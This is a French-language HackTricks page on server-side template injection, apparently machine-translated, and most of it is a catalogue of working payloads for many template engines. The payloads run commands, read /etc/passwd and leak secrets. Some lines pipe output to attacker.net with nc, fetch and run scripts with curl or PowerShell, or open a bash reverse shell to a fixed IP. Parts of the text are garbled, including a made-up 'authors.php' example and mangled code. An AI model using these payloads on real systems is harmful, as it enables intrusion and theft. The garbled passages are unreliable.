``` # Injection de modèle côté serveur (SSTI) L'injection de modèle côté serveur (SSTI) est une vulnérabilité qui permet à un attaquant d'injecter du code dans un modèle côté serveur. Cette vulnérabilité peut être exploitée pour exécuter du code arbitraire sur le serveur. ## Comment cela fonctionne-t-il? Les modèles sont utilisés pour générer des pages Web dynamiques. Les modèles peuvent contenir des variables qui sont remplacées par des valeurs lorsqu'une page est générée. Les SSTI se produisent lorsque les variables sont mal validées et qu'un attaquant peut injecter du code dans le modèle. ## Exploitation Les SSTI peuvent être exploités de différentes manières, en fonction de la technologie utilisée pour générer les modèles. Les attaquants peuvent utiliser des balises spéciales pour injecter du code dans les modèles. Par exemple, dans les modèles Jinja2, les attaquants peuvent utiliser la balise `{{ }}` pour injecter du code. Voici un exemple de code vulnérable en Python utilisant Jinja2: ```python from jinja2 import Template template = Template('Hello {{name}}!') output = template.render(name='John') print(output) ``` Dans cet exemple, l'utilisateur fournit une valeur pour la variable `name`. Si l'utilisateur fournit une valeur malveillante, il peut injecter du code dans le modèle. Par exemple, si l'utilisateur fournit la valeur `{{2+2}}`, le modèle généré sera `Hello 4!`. ## Prévention Pour prévenir les SSTI, il est important de valider toutes les entrées utilisateur. Les développeurs doivent s'assurer que les variables sont correctement validées avant d'être utilisées dans les modèles. Les frameworks de développement Web modernes, tels que Flask et Django, ont des mécanismes intégrés pour prévenir les SSTI. Les développeurs doivent également s'assurer que les modèles sont stockés en toute sécurité et que les utilisateurs n'ont pas accès aux fichiers de modèle. ```html <?=$this->e($title)?> section('content')?> ``` ### PHPlib et HTML\_Template\_PHPLIB (PHP) [HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) est identique à PHPlib mais porté sur Pear. `authors.tpl` ```html {PAGE_TITLE}
Authors
NameEmail
{NUM_AUTHORS}
{AUTHOR_NAME}{AUTHOR_EMAIL}
``` # `authors.php` ## Description La page `authors.php` affiche une liste d'auteurs avec leurs noms et leurs biographies. Elle est vulnérable à une injection de modèle côté serveur (SSTI) en raison d'une mauvaise validation des entrées utilisateur. ## Impact Un attaquant peut exploiter cette vulnérabilité pour exécuter du code arbitraire sur le serveur, ce qui peut entraîner la divulgation de données sensibles, la prise de contrôle du serveur ou d'autres attaques. ## Exploitation L'exploitation de cette vulnérabilité dépend du langage de modèle utilisé par l'application. Les exemples suivants montrent comment exploiter cette vulnérabilité en utilisant différents langages de modèle. ### Jinja2 ``` http://example.com/authors.php?name={{7*7}} ``` ### Twig ``` http://example.com/authors.php?name={{7*7}} ``` ### Freemarker ``` http://example.com/authors.php?name=<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") } ``` ### Velocity ``` http://example.com/authors.php?name=$class.inspect("java.lang.Runtime").type.getRuntime().exec("id").waitFor() ``` ### Handlebars ``` http://example.com/authors.php?name={{#with "s" as |string|}}{{#with "e"}}{{#with split as |conslist|}}{{this.pop}}${{this.pop}}(id){{/with}}{{/with}}{{/with}} ``` ### EJS ``` http://example.com/authors.php?name=<% require('child_process').exec('id', function(error, stdout, stderr) { console.log(stdout) }); %> ``` ### ERB ``` http://example.com/authors.php?name=<%= system("id") %> ``` ### Mustache ``` http://example.com/authors.php?name={{#0}}{{.}}{{$a:=&a}}{{/0}}{{$a["0"].constructor("return process")().env.id}} ``` ### Smarty ``` http://example.com/authors.php?name={$smarty.version} ``` ## Contre-mesures La meilleure façon de se protéger contre les attaques SSTI est de ne pas utiliser d'entrées utilisateur directement dans les modèles. Si cela n'est pas possible, il est important de valider et de filtrer soigneusement les entrées utilisateur pour s'assurer qu'elles ne contiennent pas de code malveillant. ```php 'cweiske@php.net', 'Bjoern Schotte' => 'schotte@mayflower.de' ); require_once 'HTML/Template/PHPLIB.php'; //create template object $t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep'); //load file $t->setFile('authors', 'authors.tpl'); //set block $t->setBlock('authors', 'authorline', 'authorline_ref'); //set some variables $t->setVar('NUM_AUTHORS', count($authors)); $t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d')); //display the authors foreach ($authors as $name => $email) { $t->setVar('AUTHOR_NAME', $name); $t->setVar('AUTHOR_EMAIL', $email); $t->parse('authorline_ref', 'authorline', true); } //finish and echo echo $t->finish($t->parse('OUT', 'authors')); ?> ``` ### Jade (NodeJS) Jade est un moteur de template pour Node.js qui permet de générer du HTML dynamique. Il est vulnérable aux attaques SSTI si les entrées utilisateur ne sont pas correctement validées et échappées. Pour exploiter une vulnérabilité SSTI dans Jade, vous pouvez utiliser la syntaxe `#{}` pour exécuter du code arbitraire. Par exemple, si vous avez une variable `userInput` qui contient du code malveillant, vous pouvez l'injecter dans un template Jade comme ceci : ``` p Welcome #{userInput} ``` Si `userInput` contient du code qui peut être exécuté, il sera exécuté lors de la génération de la page. Pour éviter les attaques SSTI dans Jade, vous devez toujours valider et échapper les entrées utilisateur avant de les utiliser dans un template. ```javascript - var x = root.process - x = x.mainModule.require - x = x('child_process') = x.exec('id | nc attacker.net 80') ``` ```javascript #{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout} ``` **Plus d'informations** * Dans la section Jade de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen) ### patTemplate (PHP) > [patTemplate](https://github.com/wernerwa/pat-template) est un moteur de template PHP qui ne compile pas et utilise des balises XML pour diviser un document en différentes parties. ```xml This is the main page. It contains another template. Hello {NAME}.
``` ### Handlebars (NodeJS) Traversal de chemin d'accès (plus d'informations [ici](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)). ```bash curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/' ``` * \= Erreur * ${7\*7} = ${7\*7} * Rien ```java {{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return require('child_process').exec('whoami');"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}} URLencoded: %7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%72%6d%20%2f%68%6f%6d%65%2f%63%61%72%6c%6f%73%2f%6d%6f%72%61%6c%65%2e%74%78%74%27%29%3b%22%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%7b%7b%2f%77%69%74%68%7d%7d ``` **Plus d'informations** * [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html) ### JsRender (NodeJS) | **Modèle** | **Description** | | ------------ | --------------------------------------- | | | Évaluer et rendre la sortie | | | Évaluer et rendre la sortie encodée en HTML | | | Commentaire | | et | Autoriser le code (désactivé par défaut) | * \= 49 **Côté client** ```python {{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}} ``` **Côté Serveur** ```bash {{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}} ``` **Plus d'informations** * [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/) ### PugJs (NodeJS) * `#{7*7} = 49` * `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}` * `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}` **Exemple de rendu côté serveur** ```javascript var pugjs = require('pug'); home = pugjs.render(injected_page) ``` **Plus d'informations** * [https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/](https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/) ### NUNJUCKS (NodeJS)
* \{{7\*7\}} = 49 * \{{foo\}} = Aucune sortie * \#{7\*7} = #{7\*7} * \{{console.log(1)\}} = Erreur ```javascript {{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}} {{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}} ``` **Plus d'informations** * [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine) ### ERB (Ruby) * `{{7*7}} = {{7*7}}` * `${7*7} = ${7*7}` * `<%= 7*7 %> = 49` * `<%= foobar %> = Erreur` ```python <%= system("whoami") %> #Execute code <%= Dir.entries('/') %> #List folder <%= File.open('/etc/passwd').read %> #Read file <%= system('cat /etc/passwd') %> <%= `ls /` %> <%= IO.popen('ls /').readlines() %> <% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%> <% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%> ``` **Plus d'informations** * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby) ### Slim (Ruby) * `{ 7 * 7 }` ``` { %x|env| } ``` **Plus d'informations** * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby) ### Python Consultez la page suivante pour apprendre des astuces sur la **bypass d'exécution de commandes arbitraires en contournant les sandbox** en python: {% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} [bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/) {% endcontent-ref %} ### Tornado (Python) * `{{7*7}} = 49` * `${7*7} = ${7*7}` * `{{foobar}} = Erreur` * `{{7*'7'}} = 7777777` ```python {% raw %} {% import foobar %} = Error {% import os %} {% import os %} {% endraw %} {{os.system('whoami')}} {{os.system('whoami')}} ``` **Plus d'informations** ### Jinja2 (Python) [Site officiel](http://jinja.pocoo.org) > Jinja2 est un moteur de template complet pour Python. Il prend en charge l'unicode complet, un environnement d'exécution sandboxé intégré en option, est largement utilisé et sous licence BSD. * `{{7*7}} = Erreur` * `${7*7} = ${7*7}` * `{{foobar}} Rien` * `{{4*4}}[[5*5]]` * `{{7*'7'}} = 7777777` * `{{config}}` * `{{config.items()}}` * `{{settings.SECRET_KEY}}` * `{{settings}}` * `
` ```python {% raw %} {% debug %} {% endraw %} {{settings.SECRET_KEY}} {{4*4}}[[5*5]] {{7*'7'}} would result in 7777777 ``` **Jinja2 - Format de template** Jinja2 est un moteur de template pour Python. Il est utilisé pour générer des pages HTML, des courriels et d'autres types de documents. Les templates Jinja2 sont des fichiers texte qui contiennent des balises et des variables. Les balises sont utilisées pour contrôler la logique de la page, tandis que les variables sont utilisées pour afficher des données dynamiques. Les balises Jinja2 sont entourées de `{%` et `%}`. Les variables sont entourées de `{{` et `}}`. Les commentaires sont entourés de `{#` et `#}`. Voici un exemple de template Jinja2 simple : ``` {{ title }}

{{ heading }}

{% for item in items %}

{{ item }}

{% endfor %} ``` Dans cet exemple, `title` et `heading` sont des variables, tandis que `for` est une balise. La boucle `for` itère sur la liste `items` et affiche chaque élément dans un paragraphe. Les templates Jinja2 peuvent également inclure des fichiers externes, des macros et des filtres personnalisés pour une plus grande flexibilité. ```python {% raw %} {% extends "layout.html" %} {% block body %} {% endblock %} {% endraw %} ``` [**RCE indépendant de**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`: ```python {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }} {{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }} {{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }} # Or in the shotest versions: {{ cycler.__init__.__globals__.os.popen('id').read() }} {{ joiner.__init__.__globals__.os.popen('id').read() }} {{ namespace.__init__.__globals__.os.popen('id').read() }} ``` **Plus de détails sur comment abuser de Jinja**: {% content-ref url="jinja2-ssti.md" %} [jinja2-ssti.md](jinja2-ssti.md) {% endcontent-ref %} ### Mako (Python) ```python <% import os x=os.popen('id').read() %> ${x} ``` ### Razor (.Net) * `@(2+2) <= Succès` * `@() <= Succès` * `@("{{code}}") <= Succès` * `@ <= Succès` * `@{} <= ERREUR!` * `@{ <= ERREUR!` * `@(1+2)` * `@( //CodeC# )` * `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");` * `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBXAHMAaABlACAAdABlAHMAdABtAGUAdAA2ADQALgBlAHgAZQA7ACAARGV2aWNlAA==");` La méthode `System.Diagnostics.Process.Start` de .NET peut être utilisée pour démarrer n'importe quel processus sur le serveur et ainsi créer un shell web. Vous pouvez trouver un exemple d'application web vulnérable sur [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) **Plus d'informations** * [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-\(SSTI\)-in-ASP.NET-Razor/) * [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/) ### ASP * `<%= 7*7 %>` = 49 * `<%= "foo" %>` = foo * `<%= foo %>` = Rien * `<%= response.write(date()) %>` = \ ```bash <%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %> ``` **Plus d'informations** * [https://www.w3schools.com/asp/asp\_examples.asp](https://www.w3schools.com/asp/asp\_examples.asp) ### Mojolicious (Perl) Même s'il s'agit de Perl, il utilise des balises comme ERB en Ruby. * `<%= 7*7 %> = 49` * `<%= foobar %> = Erreur` ``` <%= perl code %> <% perl code %> ``` ### SSTI en GO Pour confirmer que le moteur de template utilisé dans le backend est Go, vous pouvez utiliser ces charges utiles : * `{{ . }}` = structure de données transmise en entrée au modèle * Si les données transmises sont un objet qui contient l'attribut Password par exemple, la charge utile précédente le divulguerait, mais vous pourriez également faire : `{{ .Password }}` * `{{printf "%s" "ssti" }}` = devrait afficher la chaîne ssti dans la réponse * `{{html "ssti"}}`, `{{js "ssti"}}` = Ce sont quelques autres charges utiles qui devraient afficher la chaîne "ssti" sans les mots de fin "js" ou "html". Vous pouvez vous référer à plus de mots-clés dans le moteur [ici](https://golang.org/pkg/text/template). **Exploitation de XSS** Si le serveur utilise le package **text/template**, il est très facile de réaliser une XSS en fournissant simplement votre charge utile en entrée. Cependant, ce n'est pas le cas avec **html/template** car il encode la réponse en HTML : `{{""}}` --> `<script>alert(1)</script>` Cependant, Go permet de **DÉFINIR** un **modèle** complet et de l'appeler **plus tard**. La charge utile sera quelque chose comme :\ `{{define "T1"}}{{end}} {{template "T1"}}` **Exploitation de RCE** La documentation pour les modules html/template et text/template peut être trouvée [ici](https://golang.org/pkg/html/template/) et [ici](https://golang.org/pkg/text/template/), et oui, ils varient beaucoup. Par exemple, dans **text/template**, vous pouvez **appeler directement n'importe quelle fonction publique avec la valeur "call"**, ce qui n'est pas le cas avec html/template. Si vous voulez trouver une RCE en go via SSTI, vous devriez savoir que comme vous pouvez accéder à l'objet donné au modèle avec `{{ . }}`, vous pouvez également **appeler les méthodes des objets**. Ainsi, imaginez que l'**objet transmis a une méthode appelée System** qui exécute la commande donnée, vous pourriez l'abuser avec : `{{ .System "ls" }}`\ Par conséquent, vous aurez probablement **besoin du code source**. Un code source potentiel pour quelque chose comme ça ressemblera à : ```go func (p Person) Secret (test string) string { out, _ := exec.Command(test).CombinedOutput() return string(out) } ``` **Plus d'informations** * [https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html](https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html) * [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/) ### Plus d'exploits Consultez le reste de [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) pour plus d'exploits. Vous pouvez également trouver des informations intéressantes sur les balises dans [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) ## BlackHat PDF {% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %} ## Aide connexe Si vous pensez que cela pourrait être utile, lisez: * [Astuces Flask](../../network-services-pentesting/pentesting-web/flask.md) * [Fonctions magiques Python](broken-reference/) ## Outils {% embed url="https://github.com/epinna/tplmap" %} ## Liste de détection de force brute {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %} ## Pratique et références * [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting) * [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) * [**https://portswigger.net/web-security/server-side-template-injection**](https://portswigger.net/web-security/server-side-template-injection)
​​​[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines. {% embed url="https://www.rootedcon.com/" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).